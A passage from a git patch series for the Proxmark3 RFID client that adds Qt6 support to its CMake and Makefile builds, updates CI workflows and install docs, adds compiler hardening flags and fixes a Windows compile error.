Ensure that it can be found by CMake + # since it is not in the default /opt/homebrew prefix. + list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt6) + endif(APPLE AND EXISTS /opt/homebrew/opt/qt6) + + if(APPLE AND EXISTS /opt/homebrew/opt/qt@6) + # Homebrew may also install Qt6 under the versioned name qt@6 + # on Apple Silicon. + list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@6) + endif(APPLE AND EXISTS /opt/homebrew/opt/qt@6) + + find_package(Qt6 QUIET COMPONENTS Core Widgets Gui ${QT_FIND_PACKAGE_OPTIONS}) + if(Qt6_FOUND) + set(Qt6_LIBRARIES Qt6::Core Qt6::Widgets Qt6::Gui) + # tag Qt6 headers as system headers to avoid warnings in Qt headers + foreach(lib Core Gui Widgets) + if(TARGET Qt6::${lib}) + set_target_properties(Qt6::${lib} PROPERTIES + INTERFACE_SYSTEM_INCLUDE_DIRECTORIES + $ + ) + endif() + endforeach() + endif (Qt6_FOUND) + + endif (NOT SKIPQT6 EQUAL 1) + if (NOT Qt6_FOUND) + + if(APPLE AND EXISTS /usr/local/opt/qt5) + # Homebrew installs Qt5 (up to at least 5.11.0) in + # /usr/local/opt/qt5. Ensure that it can be found by CMake + # since it is not in the default /usr/local prefix. + # Add it to PATHS so that it doesn't override the + # CMAKE_PREFIX_PATH environment variable. + # QT_FIND_PACKAGE_OPTIONS should be passed to find_package, + # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) + list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5) + endif(APPLE AND EXISTS /usr/local/opt/qt5) + + if(APPLE AND EXISTS /opt/homebrew/opt/qt@5) + # Homebrew on Apple Silicon installs Qt5 in + # /opt/homebrew/opt/qt@5. Ensure that it can be found by CMake + # since it is not in the default /usr/local prefix. + # Add it to PATHS so that it doesn't override the + # CMAKE_PREFIX_PATH environment variable. + # QT_FIND_PACKAGE_OPTIONS should be passed to find_package, + # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) + list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@5) + endif(APPLE AND EXISTS /opt/homebrew/opt/qt@5) + set(QT_PACKAGELIST + Qt5Core + Qt5Widgets + Qt5Gui + ) + set(Qt5_FOUND TRUE) + foreach(_qt_package IN LISTS QT_PACKAGELIST) + find_package(${_qt_package} QUIET ${QT_FIND_PACKAGE_OPTIONS}) + set(Qt5_LIBRARIES ${${_qt_package}_LIBRARIES} ${Qt5_LIBRARIES}) + if(NOT ${_qt_package}_FOUND) + set(Qt5_FOUND FALSE) + endif(NOT ${_qt_package}_FOUND) + endforeach() + endif (NOT Qt6_FOUND) endif (NOT SKIPQT EQUAL 1) if (NOT SKIPBT EQUAL 1) @@ -472,7 +514,7 @@ if (APPLE) endif() endif (APPLE) -if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) +if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND OR Qt6_FOUND)) set(CMAKE_AUTOMOC ON) set(CMAKE_AUTORCC ON) set(CMAKE_AUTOUIC ON) @@ -482,12 +524,20 @@ if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) ${TARGET_SOURCES}) add_definitions("-DHAVE_GUI") - set(ADDITIONAL_LNK ${Qt5_LIBRARIES} ${ADDITIONAL_LNK}) -else ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) + if (Qt6_FOUND) + set(ADDITIONAL_DIRS ${Qt6_INCLUDE_DIRS} ${ADDITIONAL_DIRS}) + set(ADDITIONAL_LNK ${Qt6_LIBRARIES} ${ADDITIONAL_LNK}) + else (Qt6_FOUND) + if (Qt5_FOUND) + set(ADDITIONAL_DIRS ${Qt5_INCLUDE_DIRS} ${ADDITIONAL_DIRS}) + set(ADDITIONAL_LNK ${Qt5_LIBRARIES} ${ADDITIONAL_LNK}) + endif (Qt5_FOUND) + endif (Qt6_FOUND) +else ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND OR Qt6_FOUND)) set(TARGET_SOURCES ${PM3_ROOT}/client/src/guidummy.cpp ${TARGET_SOURCES}) -endif ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) +endif ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND OR Qt6_FOUND)) if (NOT SKIPBT EQUAL 1) if (BLUEZ_FOUND) @@ -559,11 +609,15 @@ message(STATUS "Version info: ${version_pm3}") if (SKIPQT EQUAL 1) message(STATUS "GUI support: skipped") else (SKIPQT EQUAL 1) - if (Qt5_FOUND) - message(STATUS "GUI support: QT5 found, enabled") - else (Qt5_FOUND) - message(STATUS "GUI support: QT5 not found, disabled") - endif (Qt5_FOUND) + if (Qt6_FOUND) + message(STATUS "GUI support: QT6 found, enabled") + else (Qt6_FOUND) + if (Qt5_FOUND) + message(STATUS "GUI support: QT5 found, enabled") + else (Qt5_FOUND) + message(STATUS "GUI support: QT not found, disabled") + endif (Qt5_FOUND) + endif (Qt6_FOUND) endif (SKIPQT EQUAL 1) if (SKIPBT EQUAL 1) From 8fdf0ab66fefd1d897dbc2b17598f0aa9014a953 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 28 Feb 2026 22:41:20 +0100 Subject: [PATCH 030/162] Update CI for cmake+qt6 --- .github/workflows/macos.yml | 2 +- .github/workflows/ubuntu.yml | 2 +- .github/workflows/windows.yml | 1 - doc/md/Development/Makefile-vs-CMake.md | 6 +++--- 4 files changed, 5 insertions(+), 6 deletions(-) diff --git a/.github/workflows/macos.yml b/.github/workflows/macos.yml index fb16ee874..6c9dc166e 100644 --- a/.github/workflows/macos.yml +++ b/.github/workflows/macos.yml @@ -122,7 +122,7 @@ jobs: run: brew tap RfidResearchGroup/proxmark3 - name: Install dependencies - run: brew install readline coreutils qt@5 RfidResearchGroup/proxmark3/arm-none-eabi-gcc openssl gd + run: brew install readline coreutils qt RfidResearchGroup/proxmark3/arm-none-eabi-gcc openssl gd continue-on-error: true - name: Install Python dependencies diff --git a/.github/workflows/ubuntu.yml b/.github/workflows/ubuntu.yml index 261cb693c..759b2f690 100644 --- a/.github/workflows/ubuntu.yml +++ b/.github/workflows/ubuntu.yml @@ -91,7 +91,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index edfe83b74..849264ae7 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -121,7 +121,6 @@ jobs: libbz2-dev liblz4-dev qt6-base-dev - qtbase5-dev cmake libpython3-dev libssl-dev diff --git a/doc/md/Development/Makefile-vs-CMake.md b/doc/md/Development/Makefile-vs-CMake.md index 2d2e7d4e8..73e938a60 100644 --- a/doc/md/Development/Makefile-vs-CMake.md +++ b/doc/md/Development/Makefile-vs-CMake.md @@ -70,10 +70,10 @@ At the moment both are maintained because they don't perfectly overlap yet. | dep pthread | sys | sys | | | pthread detection | **none** | **none** (1) | (1) cf https://stackoverflow.com/questions/1620918/cmake-and-libpthread ? | | `SKIPPTHREAD` | yes | yes | e.g. for termux | -| dep Qt | opt, sys, Qt6 & Qt5 | opt, sys, Qt5 | | -| Qt detection | pc(qt6)/pc(qt5)/`QTDIR`(1) (2) | find_package(qt5) (3) | (1) if `QTDIR`: hardcode path (2) OSX: pkg-config hook for Brew (3) OSX: add search path| +| dep Qt | opt, sys, Qt6 & Qt5 | opt, sys, Qt6 & Qt5 | | +| Qt detection | pc(qt6)/pc(qt5)/`QTDIR`(1) (2) | find_package(qt6/qt5) (3) | (1) if `QTDIR`: hardcode path (2) OSX: pkg-config hook for Brew (3) OSX: add search path| | `SKIPQT` | yes | yes | | -| `SKIPQT6` | yes | no | | +| `SKIPQT6` | yes | yes | | | dep readline | sys | sys | | | readline detection | **none** (1) | find*(2), Cross:getzip | (1) OSX: hardcoded path (2) additional paths for OSX | | `SKIPREADLINE` | yes | yes | CLI not fully functional without Readline | From 4ec098ee9de601f2c92b8804dff53388bacec7aa Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 28 Feb 2026 23:12:54 +0100 Subject: [PATCH 031/162] cmake: Workaround for buggy Qt 6.4.2 & 6.6.3 --- .github/workflows/ubuntu.yml | 6 +++--- client/CMakeLists.txt | 41 ++++++++++++++++++++++++++++++++++++ 2 files changed, 44 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ubuntu.yml b/.github/workflows/ubuntu.yml index 759b2f690..ee88ced0f 100644 --- a/.github/workflows/ubuntu.yml +++ b/.github/workflows/ubuntu.yml @@ -30,7 +30,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt @@ -60,7 +60,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt @@ -91,7 +91,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qt6-base-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 8713fc8c9..a81f64f0d 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -751,6 +751,47 @@ add_executable(proxmark3 ${ADDITIONAL_SRC} ) +# Handle overlays.ui manually to apply the Qt6 setNum fix +if ((NOT SKIPQT EQUAL 1) AND Qt6_FOUND) + # Find the UIC tool + get_target_property(QT_UIC_EXECUTABLE Qt6::uic IMPORTED_LOCATION) + + set(UI_OVERLAYS_INPUT ${PM3_ROOT}/client/src/ui/overlays.ui) + set(UI_OVERLAYS_OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/ui/ui_overlays.h) + + file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/ui) + + add_custom_command( + OUTPUT ${UI_OVERLAYS_OUTPUT} + COMMAND ${QT_UIC_EXECUTABLE} ${UI_OVERLAYS_INPUT} -o ${UI_OVERLAYS_OUTPUT} + # Fix bug in headers generated by some Qt6 versions (seen on 6.4.2 & 6.6.3): + # replace &QLabel::setNum with qOverload(&QLabel::setNum) + COMMAND ${CMAKE_COMMAND} + -DFILE=${UI_OVERLAYS_OUTPUT} + -P ${CMAKE_CURRENT_BINARY_DIR}/fix_overlays.cmake + DEPENDS ${UI_OVERLAYS_INPUT} + COMMENT "UIC overlays.ui (with Qt6 setNum fix)" + ) + + # Write the sed-equivalent cmake script at configure time + file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/fix_overlays.cmake [=[ + file(READ "${FILE}" _content) + string(REPLACE + "&QLabel::setNum);" + "qOverload(&QLabel::setNum));" + _content "${_content}") + file(WRITE "${FILE}" "${_content}") + ]=]) + + # Add the generated header as a source so it gets built + # and tell AUTOUIC to skip the .ui file (we handle it ourselves) + set_property(SOURCE ${UI_OVERLAYS_INPUT} PROPERTY SKIP_AUTOUIC ON) + + # Make proxmark3 depend on the generated header + target_sources(proxmark3 PRIVATE ${UI_OVERLAYS_OUTPUT}) + target_include_directories(proxmark3 PRIVATE ${CMAKE_CURRENT_BINARY_DIR}) +endif() + target_compile_options(proxmark3 PUBLIC -Wall -Werror -O3) if (EMBED_READLINE) if (NOT SKIPREADLINE EQUAL 1) From fcb337f086c5a9b7463e5743f2affa28d3222894 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 28 Feb 2026 23:45:58 +0100 Subject: [PATCH 032/162] makefile: limit qt6 fix --- client/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/Makefile b/client/Makefile index de95e42f7..dc0e05188 100644 --- a/client/Makefile +++ b/client/Makefile @@ -884,9 +884,9 @@ src/ui/ui_overlays.h: src/ui/overlays.ui $(Q)$(UIC) $^ > $@ # fix the header generated by some Qt6 versions (seen on 6.4.2 & 6.6.3) ifdef IS_DARWIN - $(Q)sed -E -i '' 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ + $(Q)sed -E -i '' 's/&QLabel::setNum);/qOverload(\&QLabel::setNum));/g' $@ else - $(Q)sed -i 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ + $(Q)sed -i 's/&QLabel::setNum);/qOverload(\&QLabel::setNum));/g' $@ endif src/ui/ui_image.h: src/ui/image.ui From c529895e68df5290f6eaf278c21bfc609ac088dd Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 00:13:48 +0100 Subject: [PATCH 033/162] remove Qt support from experimental_lib --- client/experimental_lib/CMakeLists.txt | 64 -------------------------- 1 file changed, 64 deletions(-) diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index 4681cad74..fb36dffaa 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -47,44 +47,6 @@ find_package(PkgConfig) # Allow specifying a Python version via cmake option set(PYTHON3_PKGCONFIG "python3" CACHE STRING "Python3 package config version suffix") -if (NOT SKIPQT EQUAL 1) - - if(APPLE AND EXISTS /usr/local/opt/qt5) - # Homebrew installs Qt5 (up to at least 5.11.0) in - # /usr/local/opt/qt5. Ensure that it can be found by CMake - # since it is not in the default /usr/local prefix. - # Add it to PATHS so that it doesn't override the - # CMAKE_PREFIX_PATH environment variable. - # QT_FIND_PACKAGE_OPTIONS should be passed to find_package, - # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) - list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5) - endif(APPLE AND EXISTS /usr/local/opt/qt5) - - if(APPLE AND EXISTS /opt/homebrew/opt/qt@5) - # Homebrew on Apple Silicon installs Qt5 in - # /opt/homebrew/opt/qt@5. Ensure that it can be found by CMake - # since it is not in the default /usr/local prefix. - # Add it to PATHS so that it doesn't override the - # CMAKE_PREFIX_PATH environment variable. - # QT_FIND_PACKAGE_OPTIONS should be passed to find_package, - # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) - list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@5) - endif(APPLE AND EXISTS /opt/homebrew/opt/qt@5) - set(QT_PACKAGELIST - Qt5Core - Qt5Widgets - Qt5Gui - ) - set(Qt5_FOUND ON) - foreach(_qt_package IN LISTS QT_PACKAGELIST) - find_package(${_qt_package} QUIET ${QT_FIND_PACKAGE_OPTIONS}) - set(Qt5_LIBRARIES ${${_qt_package}_LIBRARIES} ${Qt5_LIBRARIES}) - if(NOT ${_qt_package}_FOUND) - set(Qt5_FOUND OFF) - endif(NOT ${_qt_package}_FOUND) - endforeach() -endif (NOT SKIPQT EQUAL 1) - if (NOT SKIPBT EQUAL 1) pkg_search_module(BLUEZ QUIET bluez) endif (NOT SKIPBT EQUAL 1) @@ -472,23 +434,6 @@ if (APPLE) endif() endif (APPLE) -if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) - set(CMAKE_AUTOMOC ON) - set(CMAKE_AUTORCC ON) - set(CMAKE_AUTOUIC ON) - set (TARGET_SOURCES - ${PM3_ROOT}/client/src/proxgui.cpp - ${PM3_ROOT}/client/src/proxguiqt.cpp - ${TARGET_SOURCES}) - - add_definitions("-DHAVE_GUI") - set(ADDITIONAL_LNK ${Qt5_LIBRARIES} ${ADDITIONAL_LNK}) -else ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) - set(TARGET_SOURCES - ${PM3_ROOT}/client/src/guidummy.cpp - ${TARGET_SOURCES}) -endif ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) - if (NOT SKIPBT EQUAL 1) if (BLUEZ_FOUND) add_definitions("-DHAVE_BLUEZ") @@ -556,15 +501,6 @@ execute_process( ) string(STRIP ${version_pm3} version_pm3) message(STATUS "Version info: ${version_pm3}") -if (SKIPQT EQUAL 1) - message(STATUS "GUI support: skipped") -else (SKIPQT EQUAL 1) - if (Qt5_FOUND) - message(STATUS "GUI support: QT5 found, enabled") - else (Qt5_FOUND) - message(STATUS "GUI support: QT5 not found, disabled") - endif (Qt5_FOUND) -endif (SKIPQT EQUAL 1) if (SKIPBT EQUAL 1) message(STATUS "native BT support: skipped") From 9eb42e29d9139ae8d64d334d7ef39bad042eab41 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 00:19:09 +0100 Subject: [PATCH 034/162] changelog --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 656decac9..050d155b1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac ## [unreleased][unreleased] - Added `hf aliro read` command (@kormax) - Added `hf aliro info` command (@kormax) -- Added Qt6 support for the client. Step 1: Makefile (@doegox) +- Added Qt6 support for the client (@doegox) ## [Permafrost.4.21128][2026-02-25] - Added standalone mode `HF_DOEGOX_AUTH0`: UL-C / UL-AES unlocker (@doegox) From 876a41ea84908347334eca3219859757cc280b6d Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 00:30:19 +0100 Subject: [PATCH 035/162] Update macports doc. UNTESTED --- .../macOS-MacPorts-Installation-Instructions.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/doc/md/Installation_Instructions/macOS-MacPorts-Installation-Instructions.md b/doc/md/Installation_Instructions/macOS-MacPorts-Installation-Instructions.md index 1c7b3b67f..391404f24 100644 --- a/doc/md/Installation_Instructions/macOS-MacPorts-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/macOS-MacPorts-Installation-Instructions.md @@ -4,10 +4,10 @@ # macOS - MacPorts automatic installation # Table of Contents -- [macOS - MacPorts automatic installation](#macOS---macports-automatic-installation) +- [macOS - MacPorts automatic installation](#macos---macports-automatic-installation) - [Table of Contents](#table-of-contents) - [Main prerequisite](#main-prerequisite) - - [Installing latest releases](#installing-latest-releases) + - [Installing stable releases directly](#installing-stable-releases-directly) - [Build from source](#build-from-source) - [Clone the Iceman repository](#clone-the-iceman-repository) - [Compile the project](#compile-the-project) @@ -69,7 +69,7 @@ These instructions will show how to setup the environment on OSX to the point wh sudo port install \ gd2 \ lz4 \ - qt5 \ + qt6 \ bzip2 \ lua54 \ jansson \ @@ -78,7 +78,7 @@ These instructions will show how to setup the environment on OSX to the point wh openssl11 \ pkgconfig \ python312 \ - qt5-qtbase \ + qt6-qtbase \ py312-pexpect \ py312-bitstring \ py312-sslcrypto \ From 7b8b759d957dcfdec4a01d424d624cf448ed0d4b Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 10:29:49 +0100 Subject: [PATCH 036/162] Test Qt6 in Proxspace --- .github/workflows/windows.yml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index 849264ae7..c2947a265 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -52,7 +52,10 @@ jobs: for ($i = 1; $i -le $maxAttempts; $i++) { Write-Host "Attempt $i..." ./runme64.bat -c "exit" - if ($LASTEXITCODE -eq 0) { exit 0 } + if ($LASTEXITCODE -eq 0) { + ./runme64.bat -c "pacman -Syu --noconfirm mingw-w64-x86_64-qt6-base" + exit 0 + } if ($i -lt $maxAttempts) { Start-Sleep -Seconds $delay } } exit 1 From fe212d7f7f628783f75fd9c1f1944e8a94a9db1e Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 11:24:50 +0100 Subject: [PATCH 037/162] Fix mqtt compilation in Proxspace with Qt6 and cmake D:/a/proxmark3/proxmark3/client/deps/mqtt/win32_sockets.h: In function 'open_nb_socket': D:/a/proxmark3/proxmark3/client/deps/mqtt/win32_sockets.h:35:25: error: format '%s' expects argument of type 'char *', but argument 3 has type 'WCHAR *' {aka 'short unsigned int *'} [-Werror=format=] 35 | fprintf(stderr, "error: getaddrinfo: %s", gai_strerror(rv)); | ^~~~~~~~~~~~~~~~~~~~~~~~ --- client/deps/mqtt/win32_sockets.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/deps/mqtt/win32_sockets.h b/client/deps/mqtt/win32_sockets.h index 4775bb851..974211365 100644 --- a/client/deps/mqtt/win32_sockets.h +++ b/client/deps/mqtt/win32_sockets.h @@ -32,7 +32,7 @@ mqtt_pal_socket_handle open_nb_socket(const char *addr, const char *port) { // get address information int rv = getaddrinfo(addr, port, &hints, &servinfo); if (rv != 0) { - fprintf(stderr, "error: getaddrinfo: %s", gai_strerror(rv)); + fprintf(stderr, "error: getaddrinfo: %s", gai_strerrorA(rv)); WSACleanup(); return INVALID_SOCKET; } From 14a26b3f90fc7ed34e5b36495baad745fe65688f Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 12:42:57 +0100 Subject: [PATCH 038/162] doc --- .github/workflows/macos.yml | 2 ++ .github/workflows/ubuntu.yml | 3 ++- .github/workflows/windows.yml | 3 ++- CHANGELOG.md | 1 + doc/md/Development/Maintainers.md | 4 ++++ doc/md/Development/Makefile-vs-CMake.md | 1 + 6 files changed, 12 insertions(+), 2 deletions(-) diff --git a/.github/workflows/macos.yml b/.github/workflows/macos.yml index 6c9dc166e..31ff0ff46 100644 --- a/.github/workflows/macos.yml +++ b/.github/workflows/macos.yml @@ -7,12 +7,14 @@ on: - 'docker/**' - 'traces/**' - '.vscode/**' + - '**.md' pull_request: paths-ignore: - 'doc/**' - 'docker/**' - 'traces/**' - '.vscode/**' + - '**.md' jobs: macos-make: diff --git a/.github/workflows/ubuntu.yml b/.github/workflows/ubuntu.yml index ee88ced0f..db150ff45 100644 --- a/.github/workflows/ubuntu.yml +++ b/.github/workflows/ubuntu.yml @@ -7,13 +7,14 @@ on: - 'docker/**' - 'traces/**' - '.vscode/**' + - '**.md' pull_request: paths-ignore: - 'doc/**' - 'docker/**' - 'traces/**' - '.vscode/**' - + - '**.md' jobs: ubuntu-make: diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index c2947a265..c51f1c4e0 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -7,13 +7,14 @@ on: - 'docker/**' - 'traces/**' - '.vscode/**' + - '**.md' pull_request: paths-ignore: - 'doc/**' - 'docker/**' - 'traces/**' - '.vscode/**' - + - '**.md' jobs: proxspace: diff --git a/CHANGELOG.md b/CHANGELOG.md index 050d155b1..688a17175 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added hardening for all host binaries. Exact level of hardening depends on the OS (@doegox) - Added `hf aliro read` command (@kormax) - Added `hf aliro info` command (@kormax) - Added Qt6 support for the client (@doegox) diff --git a/doc/md/Development/Maintainers.md b/doc/md/Development/Maintainers.md index 42230a6a9..b6010967f 100644 --- a/doc/md/Development/Maintainers.md +++ b/doc/md/Development/Maintainers.md @@ -89,6 +89,10 @@ Some unittests are available via `make check`, which is actually triggering indi * `SKIPUV=1 tools/pm3_tests.sh` to skip usage of `uv` even if `uv` is present, and force usage of `python3` (in which case you must take care of installing the script dependencies yourself) +Host binaries are compiled with hardening flags (only with Makefile, not with cmake). Exact level of hardening depends on the OS. + +* `make host NOHARDENING=1` to disable hardening flags. + `make install` is actually triggering the following individual targets which can be accessed individually: * `make client/install` diff --git a/doc/md/Development/Makefile-vs-CMake.md b/doc/md/Development/Makefile-vs-CMake.md index 73e938a60..fec820294 100644 --- a/doc/md/Development/Makefile-vs-CMake.md +++ b/doc/md/Development/Makefile-vs-CMake.md @@ -34,6 +34,7 @@ At the moment both are maintained because they don't perfectly overlap yet. | extra GCC warnings | `GCCEXTRA=1` | **no** | | | extra Clang warnings | `CLANGEXTRA=1` | **no** | only on host | | AddressSanitize | `SANITIZE=1` | **no** | only on host | +| Hardening | yes (1) | **no** | only on host; disable it with `NOHARDENING=1` | | compilation | in place | in build dir | | | user `CFLAGS`/`LDFLAGS` | envvars honored (1) | envvars honored (2) | (1) also `LDLIBS` and `INCLUDES_CLIENT` for more tuning (2) only at first cmake call | | Mingw gnu printf | `_ISOC99_SOURCE` | `_ISOC99_SOURCE` | and in cbor.h: `__attribute__((format (__MINGW_PRINTF_FORMAT, 2, 3)))`| From a3996fe38c4746a2996854cde7039727bf69a134 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 13:04:27 +0100 Subject: [PATCH 039/162] guard some hardening flag for gcc < 12 --- Makefile.defs | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/Makefile.defs b/Makefile.defs index cffe9eee0..8cfcce10e 100644 --- a/Makefile.defs +++ b/Makefile.defs @@ -170,7 +170,18 @@ endif ifneq ($(NOHARDENING),1) # Manual equivalents of -fhardened to avoid g++: warning: linker hardening options not enabled by ‘-fhardened’ because other link options were specified on the command line DEFCFLAGS += \ - -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=3 -fstack-protector-strong -ftrivial-auto-var-init=zero + -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=3 -fstack-protector-strong + + ifeq ($(DETECTED_COMPILER), clang) + ifeq ($(shell expr $(CC_VERSION) \>= 16), 1) + DEFCFLAGS += -ftrivial-auto-var-init=zero + endif + else + ifeq ($(shell expr $(CC_VERSION) \>= 12), 1) + DEFCFLAGS += -ftrivial-auto-var-init=zero + endif + endif + ifndef IS_WINDOWS ifndef IS_DARWIN ifeq ($(ARCH),x86_64) From 55df8edbba62ce927ffb1a054fbd123650560d1b Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 1 Mar 2026 13:23:07 +0100 Subject: [PATCH 040/162] Add support for Qt 6.2.4 (Ubuntu 22.04) --- client/Makefile | 33 +++++++++++++++++++++++++++------ 1 file changed, 27 insertions(+), 6 deletions(-) diff --git a/client/Makefile b/client/Makefile index dc0e05188..5781f296a 100644 --- a/client/Makefile +++ b/client/Makefile @@ -322,9 +322,30 @@ ifneq ($(SKIPQT),1) # Check for correctly configured Qt6 QTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags Qt6Core Qt6Widgets Qt6Gui 2>/dev/null) QTLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs Qt6Core Qt6Widgets Qt6Gui 2>/dev/null) - MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/moc - UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core)/uic - QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=bindir Qt6Core)/qmake + MOC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core 2>/dev/null)/moc + UIC = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=libexecdir Qt6Core 2>/dev/null)/uic + QMAKE = $(shell $(PKG_CONFIG_ENV) pkg-config --variable=bindir Qt6Core 2>/dev/null)/qmake + ifeq ($(QTINCLUDES),) + # pkg-config not available for 